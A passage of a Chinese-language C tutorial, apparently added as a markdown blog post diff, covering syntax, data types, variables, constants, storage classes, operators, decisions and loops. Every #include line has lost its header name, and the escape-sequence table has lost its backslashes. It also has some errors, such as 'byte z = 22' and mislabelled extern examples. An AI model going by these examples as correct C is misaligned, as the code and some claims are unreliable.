+ 以 // 开始的单行注释，这种注释可以单独占一行。
+- /*…*/ 这种格式的注释可以单行或多行。您不能在注释内嵌套注释，注释也不能出现在字符串或字符值中
+
+```c
+// 单行注释
+
+/* 单行注释 */
+
+/*
+ 多行注释
+ 多行注释
+ 多行注释
+ 多行注释
+*/
+```
+
+#### 标识符
+
+- C 标识符是用来标识变量、函数，或任何其他用户自定义项目的名称。一个标识符以字母 A-Z 或 a-z 或下划线 _ 开始，后跟零个或多个字母、下划线和数字（0-9）。
+- C 标识符内不允许出现标点字符，比如 @、$ 和 %。C 是区分大小写的编程语言。因此，在 C 中，Manpower 和 manpower 是两个不同的标识符。
+
+几个有效的标识符：
+
+note simple
+mohd zara abc move_name a_123
+myname50 _temp j a23b9 retVal
+endnote
+
+#### 关键词
+
+hideToggle 点我查看
+
+| 关键词 | 说明 |
+| ------------------------ | ------------------------------------------------------------ |
+| auto | 声明自动变量 |
+| break | 跳出当前循环 |
+| case | 开关语句分支 |
+| char | 声明字符型变量或函数返回值类型 |
+| const | 定义常量，如果一个变量被 const 修饰，那么它的值就不能再被改变 |
+| continue | 结束当前循环，开始下一轮循环 |
+| default | 开关语句中的”其它”分支 |
+| do 循环语句的循环体 | |
+| double | 声明双精度浮点型变量或函数返回值类型 |
+| else | 条件语句否定分支（与 if 连用） |
+| enum | 声明枚举类型 |
+| extern | 声明变量或函数是在其它文件或本文件的其他位置定义 |
+| float | 声明浮点型变量或函数返回值类型 |
+| for | 一种循环语句 |
+| goto | 无条件跳转语句 |
+| if | 条件语句 |
+| int | 声明整型变量或函数 |
+| long | 声明长整型变量或函数返回值类型 |
+| register | 声明寄存器变量 |
+| return | 子程序返回语句（可以带参数，也可不带参数） |
+| short | 声明短整型变量或函数 |
+| signed | 声明有符号类型变量或函数 |
+| sizeof | 计算数据类型或变量长度（即所占字节数） |
+| static | 声明静态变量 |
+| struct | 声明结构体类型 |
+| switch | 用于开关语句 |
+| unsigned | 声明无符号类型变量或函数 |
+| union | 声明共用体类型 |
+| void | 声明函数无返回值或无参数，声明无类型指针 |
+| volatile | 说明变量在程序执行中可被隐含地改变 |
+| while 循环语句的循环条件 | |
+
+**C99新增关键词**
+
+| _Bool | _Complex | _Imaginary | inline | restrict |
+| ----- | -------- | ---------- | ------ | -------- |
+| | | | | |
+
+**C11 新增关键字**
+
+| _Alignas | _Alignof | _Atomic | _Generic | _Noreturn |
+| ------------------ | ----------------- | ------- | -------- | --------- |
+| **_Static_assert** | **_Thread_local** | | | |
+
+endhideToggle
+
+#### C 中的空格
+
+只包含空格的行，被称为空白行，可能带有注释，C 编译器会完全忽略它。
+
+在 C 中，空格用于描述空白符、制表符、换行符和注释。空格分隔语句的各个部分，让编译器能识别语句中的某个元素（比如 int）在哪里结束，下一个元素在哪里开始。因此，在下面的语句中：
+
+```
+int age;
+```
+
+在这里，int 和 age 之间必须至少有一个空格字符（通常是一个空白符），这样编译器才能够区分它们。另一方面，在下面的语句中：
+
+```
+fruit = apples + oranges; // 获取水果的总数
+```
+
+fruit 和 =，或者 = 和 apples 之间的空格字符不是必需的，但是为了增强可读性，您可以根据需要适当增加一些空格。
+
+## C 数据类型
+
+在 C 语言中，数据类型指的是用于声明不同类型的变量或函数的一个广泛的系统。变量的类型决定了变量存储占用的空间，以及如何解释存储的位模式。
+
+C 中的类型可分为以下几种：
+
+| 序号 | 类型与描述 |
+| --------------- | ------------------------------------------------------------ |
+| **基本类型：** | 它们是算术类型，包括两种类型：整数类型和浮点类型。 |
+| **枚举类型：** | 它们也是算术类型，被用来定义在程序中只能赋予其一定的离散整数值的变量。 |
+| **void 类型：** | 类型说明符 *void* 表明没有可用的值。 |
+| **派生类型：** | 它们包括：指针类型、数组类型、结构类型、共用体类型和函数类型。 |
+
+### 整数类型
+
+下表列出了关于标准整数类型的存储大小和值范围的细节：
+
+| 类型 | 存储大小 | 值范围 |
+| -------------- | ----------- | ---------------------------------------------------- |
+| char | 1 字节 | -128 到 127 或 0 到 255 |
+| unsigned char | 1 字节 | 0 到 255 |
+| signed char | 1 字节 | -128 到 127 |
+| int | 2 或 4 字节 | -32,768 到 32,767 或 -2,147,483,648 到 2,147,483,647 |
+| unsigned int | 2 或 4 字节 | 0 到 65,535 或 0 到 4,294,967,295 |
+| short | 2 字节 | -32,768 到 32,767 |
+| unsigned short | 2 字节 | 0 到 65,535 |
+| long | 4 字节 | -2,147,483,648 到 2,147,483,647 |
+| unsigned long | 4 字节 | 0 到 4,294,967,295 |
+
+note modern
+为了得到某个类型或某个变量在特定平台上的准确大小，您可以使用 **sizeof** 运算符。表达式 *sizeof(type)* 得到对象或类型的存储字节大小。下面的实例演示了获取 int 类型的大小：
+
+```c
+#include
+#include
+
+int main()
+{
+ printf("int 存储大小 : %lu \n", sizeof(int));
+
+ return 0;
+}
+```
+
+**%lu** 为 32 位无符号整数，详细说明查看 [C 库函数 - printf() ](https://www.runoob.com/cprogramming/c-function-printf.html)。
+
+endnote
+
+### 浮点类型
+
+下表列出了关于标准浮点类型的存储大小、值范围和精度的细节：
+
+| 类型 | 存储大小 | 值范围 | 精度 |
+| ----------- | -------- | ---------------------- | ----------- |
+| float | 4 字节 | 1.2E-38 到 3.4E+38 | 6 位有效位 |
+| double | 8 字节 | 2.3E-308 到 1.7E+308 | 15 位有效位 |
+| long double | 16 字节 | 3.4E-4932 到 1.1E+4932 | 19 位有效位 |
+
+头文件 float.h 定义了宏，在程序中可以使用这些值和其他有关实数二进制表示的细节。下面的实例将输出浮点类型占用的存储空间以及它的范围值：
+
+### 实例
+
+```c
+#include
+#include
+int main() {
+ printf("float 存储最大字节数 : %lu \n", sizeof(float));
+ printf("float 最小值: %E\n", FLT_MIN );
+ printf("float 最大值: %E\n", FLT_MAX );
+ printf("精度值: %d\n", FLT_DIG );
+
+ return 0;
+}
+```
+
+**%E** 为以指数形式输出单、双精度实数，详细说明查看 [C 库函数 - printf() ](https://www.runoob.com/cprogramming/c-function-printf.html)。
+
+当您在 Linux 上编译并执行上面的程序时，它会产生下列结果：
+
+```
+float 存储最大字节数 : 4
+float 最小值: 1.175494E-38
+float 最大值: 3.402823E+38
+精度值: 6
+```
+
+### void 类型
+
+void 类型指定没有可用的值。它通常用于以下三种情况下：
+
+| 类型 | 描述 |
+| ----------------- | ------------------------------------------------------------ |
+| **函数返回为空** | C 中有各种函数都不返回值，或者您可以说它们返回空。不返回值的函数的返回类型为空。例如 **void exit (int status);** |
+| **函数参数为空** | C 中有各种函数不接受任何参数。不带参数的函数可以接受一个 void。例如 **int rand(void);** |
+| **指针指向 void** | 类型为 void * 的指针代表对象的地址，而不是类型。例如，内存分配函数 **void \*malloc( size_t size );** 返回指向 void 的指针，可以转换为任何数据类型。 |
+
+## C 变量
+
+变量其实只不过是程序可操作的存储区的名称。C 中每个变量都有特定的类型，类型决定了变量存储的大小和布局，该范围内的值都可以存储在内存中，运算符可应用于变量上。
+
+变量的名称可以由字母、数字和下划线字符组成。它必须以字母或下划线开头。大写字母和小写字母是不同的，因为 C 是大小写敏感的。基于前一章讲解的基本类型，有以下几种基本的变量类型：
+
+| 类型 | 描述 |
+| ------ | ------------------------------------------------------------ |
+| char | 通常是一个字节（八位）, 这是一个整数类型。 |
+| int | 整型，4 个字节，取值范围 -2147483648 到 2147483647。 |
+| float | 单精度浮点值。单精度是这样的格式，1位符号，8位指数，23位小数。 |
+| double | 双精度浮点值。双精度是1位符号，11位指数，52位小数。 |
+| void | 表示类型的缺失。 |
+
+C 语言也允许定义各种其他类型的变量，比如枚举、指针、数组、结构、共用体等等.
+
+#### C 中的变量定义
+
+变量定义就是告诉编译器在何处创建变量的存储，以及如何创建变量的存储。变量定义指定一个数据类型，并包含了该类型的一个或多个变量的列表，如下所示：
+
+```
+type variable_list;
+```
+
+在这里，**type** 必须是一个有效的 C 数据类型，可以是 char、w_char、int、float、double 或任何用户自定义的对象，**variable_list** 可以由一个或多个标识符名称组成，多个标识符之间用逗号分隔。下面列出几个有效的声明：
+
+```c
+int i, j, k;
+char c, ch;
+float f, salary;
+double d;
+```
+
+行 **int i, j, k;** 声明并定义了变量 i、j 和 k，这指示编译器创建类型为 int 的名为 i、j、k 的变量。
+
+变量可以在声明的时候被初始化（指定一个初始值）。初始化器由一个等号，后跟一个常量表达式组成，如下所示：
+
+```
+type variable_name = value;
+```
+
+下面列举几个实例：
+
+```c
+extern int d = 3, f = 5; // d 和 f 的声明与初始化
+int d = 3, f = 5; // 定义并初始化 d 和 f
+byte z = 22; // 定义并初始化 z
+char x = 'x'; // 变量 x 的值为 'x'
+```
+
+不带初始化的定义：带有静态存储持续时间的变量会被隐式初始化为 NULL（所有字节的值都是 0），其他所有变量的初始值是未定义的。
+
+### C 中的变量声明
+
+变量声明向编译器保证变量以指定的类型和名称存在，这样编译器在不需要知道变量完整细节的情况下也能继续进一步的编译。变量声明只在编译时有它的意义，在程序连接时编译器需要实际的变量声明。
+
+变量的声明有两种情况：
+
+- 1、一种是需要建立存储空间的。例如：int a 在声明的时候就已经建立了存储空间。
+- 2、另一种是不需要建立存储空间的，通过使用extern关键字声明变量名而不定义它。 例如：extern int a 其中变量 a 可以在别的文件中定义的。
+- 除非有extern关键字，否则都是变量的定义。
+
+```c
+extern int i; //声明，不是定义
+int i; //声明，也是定义
+#include
+// 函数外定义变量 x 和 y
+int x; int y;
+int addtwonum() {
+ // 函数内声明变量 x 和 y 为外部变量
+ extern int x;
+ extern int y;
+ // 给外部变量（全局变量）x 和 y 赋值
+ x = 1;
+ y = 2;
+ return x+y;
+}
+
+int main() {
+ int result;
+ // 调用函数 addtwonum
+ result = addtwonum();
+ printf("result 为: %d",result);
+ return 0;
+}
+```
+
+当上面的代码被编译和执行时，它会产生下列结果：
+
+```
+result 为: 3
+```
+
+如果需要在一个源文件中引用另外一个源文件中定义的变量，我们只需在引用的文件中将变量加上 extern 关键字的声明即可。
+
+## addtwonum.c 文件代码：
+
+```c
+#include
+/*外部变量声明*/
+extern int x ;
+extern int y ;
+int addtwonum() {
+ return x+y;
+}
+```
+
+## test.c 文件代码：
+
+```c
+#include
+/*定义两个全局变量*/
+int x=1; int y=2;
+int addtwonum();
+
+int main(void) {
+ int result;
+ result = addtwonum();
+ printf("result 为: %d\n",result);
+
+ return 0;
+}
+```
+
+当上面的代码被编译和执行时，它会产生下列结果：
+
+```
+result 为: 3
+```
+
+### C 中的左值（Lvalues）和右值（Rvalues）
+
+C 中有两种类型的表达式：
+
+1. **左值（lvalue）：**指向内存位置的表达式被称为左值（lvalue）表达式。左值可以出现在赋值号的左边或右边。
+2. **右值（rvalue）：**术语右值（rvalue）指的是存储在内存中某些地址的数值。右值是不能对其进行赋值的表达式，也就是说，右值可以出现在赋值号的右边，但不能出现在赋值号的左边。
+
+变量是左值，因此可以出现在赋值号的左边。数值型的字面值是右值，因此不能被赋值，不能出现在赋值号的左边。下面是一个有效的语句：
+
+```c
+int g = 20;
+```
+
+但是下面这个就不是一个有效的语句，会生成编译时错误：
+
+```
+10 = 20;
+```
+
+## C 常量
+
+常量是固定值，在程序执行期间不会改变。这些固定的值，又叫做**字面量**。
+
+常量可以是任何的基本数据类型，比如整数常量、浮点常量、字符常量，或字符串字面值，也有枚举常量。
+
+**常量**就像是常规的变量，只不过常量的值在定义后不能进行修改。
+
+### 整数常量
+
+整数常量可以是十进制、八进制或十六进制的常量。前缀指定基数：0x 或 0X 表示十六进制，0 表示八进制，不带前缀则默认表示十进制。
+
+整数常量也可以带一个后缀，后缀是 U 和 L 的组合，U 表示无符号整数（unsigned），L 表示长整数（long）。后缀可以是大写，也可以是小写，U 和 L 的顺序任意。
+
+下面列举几个整数常量的实例：
+
+```
+212 /* 合法的 */
+215u /* 合法的 */
+0xFeeL /* 合法的 */
+
+078 /* 非法的：8 不是八进制的数字 */
+032UU /* 非法的：不能重复后缀 */
+```
+
+以下是各种类型的整数常量的实例：
+
+```
+85 /* 十进制 */
+0213 /* 八进制 */
+0x4b /* 十六进制 */
+30 /* 整数 */
+30u /* 无符号整数 */
+30l /* 长整数 */
+30ul /* 无符号长整数 */
+```
+
+### 浮点常量
+
+- 浮点常量由整数部分、小数点、小数部分和指数部分组成。您可以使用小数形式或者指数形式来表示浮点常量。
+- 当使用小数形式表示时，必须包含整数部分、小数部分，或同时包含两者。当使用指数形式表示时， 必须包含小数点、指数，或同时包含两者。带符号的指数是用 e 或 E 引入的。
+
+下面列举几个浮点常量的实例：
+
+```
+3.14159 /* 合法的 */
+314159E-5L /* 合法的 */
+510E /* 非法的：不完整的指数 */
+210f /* 非法的：没有小数或指数 */
+.e55 /* 非法的：缺少整数或分数 */
+```
+
+### 字符常量
+
+- 字符常量是括在单引号中，例如，’x’ 可以存储在 **char** 类型的简单变量中。
+- 字符常量可以是一个普通的字符（例如 ‘x’）、一个转义序列（例如 ‘\t’），或一个通用的字符（例如 ‘\u02C0’）。
+- 在 C 中，有一些特定的字符，当它们前面有反斜杠时，它们就具有特殊的含义，被用来表示如换行符（\n）或制表符（\t）等。
+
+更多的转义序列码
+
+| 转义序列 | 含义 |
+| ---------- | -------------------------- |
+| \ | \ 字符 |
+| ' | ‘ 字符 |
+| " | “ 字符 |
+| ? | ? 字符 |
+| \a | 警报铃声 |
+| \b | 退格键 |
+| \f | 换页符 |
+| \n | 换行符 |
+| \r | 回车 |
+| \t | 水平制表符 |
+| \v | 垂直制表符 |
+| \ooo | 一到三位的八进制数 |
+| \xhh . . . | 一个或多个数字的十六进制数 |
+
+**例:**
+
+```c
+\#include
+
+ int main() {
+
+ printf("Hello\tWorld\n\n");
+
+ return 0;
+
+ }
+```
+
+当上面的代码被编译和执行时，它会产生下列结果：
+
+```
+Hello World
+```
+
+### 字符串常量
+
+字符串字面值或常量是括在双引号 “” 中的。一个字符串包含类似于字符常量的字符：普通的字符、转义序列和通用的字符。
+
+您可以使用空格做分隔符，把一个很长的字符串常量进行分行。
+
+下面的实例显示了一些字符串常量。下面这三种形式所显示的字符串是相同的。
+
+```
+"hello, dear"
+
+"hello, \
+
+dear"
+
+"hello, " "d" "ear"
+```
+
+### 定义常量
+
+在 C 中，有两种简单的定义常量的方式：
+
+1. 使用 **#define** 预处理器。
+2. 使用 **const** 关键字。
+
+#### #define 预处理器
+
+下面是使用 #define 预处理器定义常量的形式：
+
+```
+#define identifier value
+```
+
+**例:**
+
+```c
+#include
+
+#define LENGTH 10
+#define WIDTH 5
+#define NEWLINE '\n'
+
+int main()
+{
+
+ int area;
+
+ area = LENGTH * WIDTH;
+ printf("value of area : %d", area);
+ printf("%c", NEWLINE);
+
+ return 0;
+}
+```
+
+当上面的代码被编译和执行时，它会产生下列结果：
+
+```
+value of area : 50
+```
+
+### const 关键字
+
+您可以使用 **const** 前缀声明指定类型的常量，如下所示：
+
+```c
+const type variable = value;
+```
+
+
+
+const 声明常量要在一个语句内完成：
+
+
+
+**例：**
+
+```c
+#include
+
+int main()
+{
+ const int LENGTH = 10;
+ const int WIDTH = 5;
+ const char NEWLINE = '\n';
+ int area;
+
+ area = LENGTH * WIDTH;
+ printf("value of area : %d", area);
+ printf("%c", NEWLINE);
+
+ return 0;
+}
+```
+
+当上面的代码被编译和执行时，它会产生下列结果：
+
+```
+value of area : 50
+```
+
+把常量定义为大写字母形式，是一个很好的编程习惯。
+
+## C 存储类
+
+hideToggle 点我查看
+
+存储类定义 C 程序中变量/函数的范围（可见性）和生命周期。这些说明符放置在它们所修饰的类型之前。下面列出 C 程序中可用的存储类：
+
+- auto
+- register
+- static
+- extern
+
+### auto 存储类
+
+**auto** 存储类是所有局部变量默认的存储类。
+
+```c
+{
+ int mount;
+ auto int month;
+}
+```
+
+上面的实例定义了两个带有相同存储类的变量，auto 只能用在函数内，即 auto 只能修饰局部变量。
+
+### register 存储类
+
+**register** 存储类用于定义存储在寄存器中而不是 RAM 中的局部变量。这意味着变量的最大尺寸等于寄存器的大小（通常是一个字），且不能对它应用一元的 ‘&’ 运算符（因为它没有内存位置）。
+
+```c
+{
+ register int miles;
+}
+```
+
+寄存器只用于需要快速访问的变量，比如计数器。还应注意的是，定义 ‘register’ 并不意味着变量将被存储在寄存器中，它意味着变量可能存储在寄存器中，这取决于硬件和实现的限制。
+
+### static 存储类
+
+**static** 存储类指示编译器在程序的生命周期内保持局部变量的存在，而不需要在每次它进入和离开作用域时进行创建和销毁。因此，使用 static 修饰局部变量可以在函数调用之间保持局部变量的值。
+
+static 修饰符也可以应用于全局变量。当 static 修饰全局变量时，会使变量的作用域限制在声明它的文件内。
+
+全局声明的一个 static 变量或方法可以被任何函数或方法调用，只要这些方法出现在跟 static 变量或方法同一个文件中。
+
+以下实例演示了 static 修饰全局变量和局部变量的应用：
+
+```c
+#include
+
+/* 函数声明 */
+void func1(void);
+
+static int count=10; /* 全局变量 - static 是默认的 */
+
+int main()
+{
+ while (count--) {
+ func1();
+ }
+ return 0;
+}
+
+void func1(void)
+{
+/* 'thingy' 是 'func1' 的局部变量 - 只初始化一次
+ * 每次调用函数 'func1' 'thingy' 值不会被重置。
+ */
+ static int thingy=5;
+ thingy++;
+ printf(" thingy 为 %d ， count 为 %d\n", thingy, count);
+}
+```
+
+实例中 count 作为全局变量可以在函数内使用，thingy 使用 static 修饰后，不会在每次调用时重置。
+
+可能您现在还无法理解这个实例，因为我已经使用了函数和全局变量，这两个概念目前为止还没进行讲解。即使您现在不能完全理解，也没有关系，后续的章节我们会详细讲解。当上面的代码被编译和执行时，它会产生下列结果：
+
+```
+thingy 为 6 ， count 为 9
+thingy 为 7 ， count 为 8
+thingy 为 8 ， count 为 7
+thingy 为 9 ， count 为 6
+thingy 为 10 ， count 为 5
+thingy 为 11 ， count 为 4
+thingy 为 12 ， count 为 3
+thingy 为 13 ， count 为 2
+thingy 为 14 ， count 为 1
+thingy 为 15 ， count 为 0
+```
+
+### extern 存储类
+
+**extern** 存储类用于提供一个全局变量的引用，全局变量对所有的程序文件都是可见的。当您使用 **extern** 时，对于无法初始化的变量，会把变量名指向一个之前定义过的存储位置。
+
+当您有多个文件且定义了一个可以在其他文件中使用的全局变量或函数时，可以在其他文件中使用 *extern* 来得到已定义的变量或函数的引用。可以这么理解，*extern* 是用来在另一个文件中声明一个全局变量或函数。
+
+extern 修饰符通常用于当有两个或多个文件共享相同的全局变量或函数的时候，如下所示：
+
+**第一个文件：main.c**
+
+```c
+#include
+
+int count ;
+extern void write_extern();
+
+int main()
+{
+ count = 5;
+ write_extern();
+}
+```
+
+**第二个文件：support.c**
+
+```c
+#include
+
+extern int count;
+
+void write_extern(void)
+{
+ printf("count is %d\n", count);
+}
+```
+
+在这里，第二个文件中的 *extern* 关键字用于声明已经在第一个文件 main.c 中定义的 *count*。现在 ，编译这两个文件，如下所示：
+
+```bash
+$ gcc main.c support.c
+```
+
+这会产生 **a.out** 可执行程序，当程序被执行时，它会产生下列结果：
+
+```
+count is 5
+```
+
+endhideToggle
+
+## C 运算符
+
+运算符是一种告诉编译器执行特定的数学或逻辑操作的符号。C 语言内置了丰富的运算符，并提供了以下类型的运算符：
+
+- 算术运算符
+- 关系运算符
+- 逻辑运算符
+- 位运算符
+- 赋值运算符
+- 杂项运算符
+
+本章将逐一介绍算术运算符、关系运算符、逻辑运算符、位运算符、赋值运算符和其他运算符。
+
+### 算术运算符
+
+下表显示了 C 语言支持的所有算术运算符。假设变量 **A** 的值为 10，变量 **B** 的值为 20，则：
+
+| 运算符 | 描述 | 实例 |
+| ------ | -------------------------------- | ---------------- |
+| + | 把两个操作数相加 | A + B 将得到 30 |
+| - | 从第一个操作数中减去第二个操作数 | A - B 将得到 -10 |
+| * | 把两个操作数相乘 | A * B 将得到 200 |
+| / | 分子除以分母 | B / A 将得到 2 |
+| % | 取模运算符，整除后的余数 | B % A 将得到 0 |
+| ++ | 自增运算符，整数值增加 1 | A++ 将得到 11 |
+| – | 自减运算符，整数值减少 1 | A– 将得到 9 |
+
+### 关系运算符
+
+下表显示了 C 语言支持的所有关系运算符。假设变量 **A** 的值为 10，变量 **B** 的值为 20，则：
+
+| 运算符 | 描述 | 实例 |
+| ------ | ------------------------------------------------------------ | --------------- |
+| == | 检查两个操作数的值是否相等，如果相等则条件为真。 | (A == B) 为假。 |
+| != | 检查两个操作数的值是否相等，如果不相等则条件为真。 | (A != B) 为真。 |
+| > | 检查左操作数的值是否大于右操作数的值，如果是则条件为真。 | (A > B) 为假。 |
+| < | 检查左操作数的值是否小于右操作数的值，如果是则条件为真。 | (A < B) 为真。 |
+| >= | 检查左操作数的值是否大于或等于右操作数的值，如果是则条件为真。 | (A >= B) 为假。 |
+| <= | 检查左操作数的值是否小于或等于右操作数的值，如果是则条件为真。 | (A <= B) 为真。 |
+
+### 逻辑运算符
+
+下表显示了 C 语言支持的所有关系逻辑运算符。假设变量 **A** 的值为 1，变量 **B** 的值为 0，则：
+
+| 运算符 | 描述 | 实例 |
+| ------ | ------------------------------------------------------------ | ----------------- |
+| && | 称为逻辑与运算符。如果两个操作数都非零，则条件为真。 | (A && B) 为假。 |
+| \|\| | 称为逻辑或运算符。如果两个操作数中有任意一个非零，则条件为真。 | (A \|\| B) 为真。 |
+| ! | 称为逻辑非运算符。用来逆转操作数的逻辑状态。如果条件为真则逻辑非运算符将使其为假。 | !(A && B) 为真。 |
+
+### 位运算符
+
+位运算符作用于位，并逐位执行操作。&、 | 和 ^ 的真值表如下所示：
+
+| p | q | p & q | p \| q | p ^ q |
+| ---- | ---- | ----- | ------ | ----- |
+| 0 | 0 | 0 | 0 | 0 |
+| 0 | 1 | 0 | 1 | 1 |
+| 1 | 1 | 1 | 1 | 0 |
+| 1 | 0 | 0 | 1 | 1 |
+
+假设如果 A = 60，且 B = 13，现在以二进制格式表示，它们如下所示：
+
+A = 0011 1100
+
+B = 0000 1101
+
+-—————-
+
+A&B = 0000 1100
+
+A|B = 0011 1101
+
+A^B = 0011 0001
+
+~A = 1100 0011
+
+下表显示了 C 语言支持的位运算符。假设变量 **A** 的值为 60，变量 **B** 的值为 13，则：
+
+| 运算符 | 描述 | 实例 |
+| ------ | ------------------------------------------------------------ | ------------------------------------------------------------ |
+| & | 按位与操作，按二进制位进行”与”运算。运算规则：`0&0=0; 0&1=0; 1&0=0; 1&1=1;` | (A & B) 将得到 12，即为 0000 1100 |
+| \| | 按位或运算符，按二进制位进行”或”运算。运算规则：`0 | 0=0; 0 |
+| ^ | 异或运算符，按二进制位进行”异或”运算。运算规则：`0^0=0; 0^1=1; 1^0=1; 1^1=0;` | (A ^ B) 将得到 49，即为 0011 0001 |
+| ~ | 取反运算符，按二进制位进行”取反”运算。运算规则：`~1=-2; ~0=-1;` | (~A ) 将得到 -61，即为 1100 0011，一个有符号二进制数的补码形式。 |
+| << | 二进制左移运算符。将一个运算对象的各二进制位全部左移若干位（左边的二进制位丢弃，右边补0）。 | A << 2 将得到 240，即为 1111 0000 |
+| >> | 二进制右移运算符。将一个数的各二进制位全部右移若干位，正数左补0，负数左补1，右边丢弃。 | A >> 2 将得到 15，即为 0000 1111 |
+
+## 赋值运算符
+
+下表列出了 C 语言支持的赋值运算符：
+
+| 运算符 | 描述 | 实例 |
+| ------ | ------------------------------------------------------------ | ------------------------------- |
+| = | 简单的赋值运算符，把右边操作数的值赋给左边操作数 | C = A + B 将把 A + B 的值赋给 C |
+| += | 加且赋值运算符，把右边操作数加上左边操作数的结果赋值给左边操作数 | C += A 相当于 C = C + A |
+| -= | 减且赋值运算符，把左边操作数减去右边操作数的结果赋值给左边操作数 | C -= A 相当于 C = C - A |
+| *= | 乘且赋值运算符，把右边操作数乘以左边操作数的结果赋值给左边操作数 | C *= A 相当于 C = C * A |
+| /= | 除且赋值运算符，把左边操作数除以右边操作数的结果赋值给左边操作数 | C /= A 相当于 C = C / A |
+| %= | 求模且赋值运算符，求两个操作数的模赋值给左边操作数 | C %= A 相当于 C = C % A |
+| <<= | 左移且赋值运算符 | C <<= 2 等同于 C = C << 2 |
+| >>= | 右移且赋值运算符 | C >>= 2 等同于 C = C >> 2 |
+| &= | 按位与且赋值运算符 | C &= 2 等同于 C = C & 2 |
+| ^= | 按位异或且赋值运算符 | C ^= 2 等同于 C = C ^ 2 |
+| \|= | 按位或且赋值运算符 | C \|= 2 等同于 C = C \| 2 |
+
+### 杂项运算符 ↦ sizeof & 三元
+
+下表列出了 C 语言支持的其他一些重要的运算符，包括 **sizeof** 和 **? :**。
+
+| 运算符 | 描述 | 实例 |
+| -------- | ---------------- | ------------------------------------ |
+| sizeof() | 返回变量的大小。 | sizeof(a) 将返回 4，其中 a 是整数。 |
+| & | 返回变量的地址。 | &a; 将给出变量的实际地址。 |
+| * | 指向一个变量。 | *a; 将指向一个变量。 |
+| ? : | 条件表达式 | 如果条件为真 ? 则值为 X : 否则值为 Y |
+
+## C 中的运算符优先级
+
+运算符的优先级确定表达式中项的组合。这会影响到一个表达式如何计算。某些运算符比其他运算符有更高的优先级，例如，乘除运算符具有比加减运算符更高的优先级。
+
+例如 x = 7 + 3 * 2，在这里，x 被赋值为 13，而不是 20，因为运算符 * 具有比 + 更高的优先级，所以首先计算乘法 3*2，然后再加上 7。
+
+下表将按运算符优先级从高到低列出各个运算符，具有较高优先级的运算符出现在表格的上面，具有较低优先级的运算符出现在表格的下面。在表达式中，较高优先级的运算符会优先被计算。
+
+| 类别 | 运算符 | 结合性 |
+| ---------- | --------------------------------- | -------- |
+| 后缀 | () [] -> . ++ - - | 从左到右 |
+| 一元 | + - ! ~ ++ - - (type)* & sizeof | 从右到左 |
+| 乘除 | * / % | 从左到右 |
+| 加减 | + - | 从左到右 |
+| 移位 | << >> | 从左到右 |
+| 关系 | < <= > >= | 从左到右 |
+| 相等 | == != | 从左到右 |
+| 位与 AND | & | 从左到右 |
+| 位异或 XOR | ^ | 从左到右 |
+| 位或 OR | \| | 从左到右 |
+| 逻辑与 AND | && | 从左到右 |
+| 逻辑或 OR | \|\| | 从左到右 |
+| 条件 | ?: | 从右到左 |
+| 赋值 | = += -= *= /= %=>>= <<= &= ^= \|= | 从右到左 |
+| 逗号 | , | 从左到右 |
+
+## C 判断
+
+判断结构要求程序员指定一个或多个要评估或测试的条件，以及条件为真时要执行的语句（必需的）和条件为假时要执行的语句（可选的）。
+
+C 语言把任何**非零**和**非空**的值假定为 **true**，把**零**或 **null** 假定为 **false**。
+
+下面是大多数编程语言中典型的判断结构的一般形式：
+
+
+
+### 判断语句
+
+C 语言提供了以下类型的判断语句。点击链接查看每个语句的细节。
+
+| 语句 | 描述 |
+| ------------------------------------------------------------ | ------------------------------------------------------------ |
+| [if 语句 ](https://www.runoob.com/cprogramming/c-if.html) | 一个 **if 语句** 由一个布尔表达式后跟一个或多个语句组成。 |
+| [if…else 语句 ](https://www.runoob.com/cprogramming/c-if-else.html) | 一个 **if 语句** 后可跟一个可选的 **else 语句**，else 语句在布尔表达式为假时执行。 |
+| [嵌套 if 语句 ](https://www.runoob.com/cprogramming/c-nested-if.html) | 您可以在一个 **if** 或 **else if** 语句内使用另一个 **if** 或 **else if** 语句。 |
+| [switch 语句 ](https://www.runoob.com/cprogramming/c-switch.html) | 一个 **switch** 语句允许测试一个变量等于多个值时的情况。 |
+| [嵌套 switch 语句 ](https://www.runoob.com/cprogramming/c-nested-switch.html) | 您可以在一个 **switch** 语句内使用另一个 **switch** 语句。 |
+
+### ? : 运算符(三元运算符)
+
+我们已经在前面的章节中讲解了 **条件运算符 ? :**，可以用来替代 **if…else** 语句。它的一般形式如下：
+
+```
+Exp1 ? Exp2 : Exp3;
+```
+
+其中，Exp1、Exp2 和 Exp3 是表达式。请注意，冒号的使用和位置。
+
+? 表达式的值是由 Exp1 决定的。如果 Exp1 为真，则计算 Exp2 的值，结果即为整个表达式的值。如果 Exp1 为假，则计算 Exp3 的值，结果即为整个表达式的值。
+
+
+
+**例:**
+
+输入一个数字判断他是奇数还是偶数
+
+```c
+#include
+
+int main()
+{
+ int num;
+
+ printf("输入一个数字 : ");
+ scanf("%d",&num);
+
+ (num%2==0)?printf("偶数"):printf("奇数");
+}
+```
+
+## C 循环
+
+有的时候，我们可能需要多次执行同一块代码。一般情况下，语句是按顺序执行的：函数中的第一个语句先执行，接着是第二个语句，依此类推。
+
+编程语言提供了更为复杂执行路径的多种控制结构。
+
+循环语句允许我们多次执行一个语句或语句组，下面是大多数编程语言中循环语句的流程图：
+
+
+
+### 循环类型
+
+C 语言提供了以下几种循环类型。点击链接查看每个类型的细节。
+
+| 循环类型 | 描述 |
+| ------------------------------------------------------------ | ------------------------------------------------------------ |
+| [while 循环 ](https://www.runoob.com/cprogramming/c-while-loop.html) | 当给定条件为真时，重复语句或语句组。它会在执行循环主体之前测试条件。 |
+| [for 循环 ](https://www.runoob.com/cprogramming/c-for-loop.html) | 多次执行一个语句序列，简化管理循环变量的代码。 |
+| [do…while 循环 ](https://www.runoob.com/cprogramming/c-do-while-loop.html) | 除了它是在循环主体结尾测试条件外，其他与 while 语句类似。 |
+| [嵌套循环 ](https://www.runoob.com/cprogramming/c-nested-loops.html) | 您可以在 while、for 或 do..while 循环内使用一个或多个循环。 |
+
+### 循环控制语句
+
+循环控制语句改变你代码的执行顺序。通过它可以实现代码的跳转。
+
+| 控制语句 | 描述 |
+| ------------- | ------------------------------------------------------------ |
+| break 语句 | 终止**循环**或 **switch** 语句，程序流将继续执行紧接着循环或 switch 的下一条语句。 |
+| continue 语句 | 告诉一个循环体立刻停止本次循环迭代，重新开始下次循环迭代。 |
+| goto 语句 | 将控制转移到被标记的语句。但是不建议在程序中使用 goto 语句。 |
+
+### 无限循环
+
+如果条件永远不为假，则循环将变成无限循环。**for** 循环在传统意义上可用于实现无限循环。由于构成循环的三个表达式中任何一个都不是必需的，可以将某些条件表达式留空来构成一个无限循环。
+
+```c
+#include
+
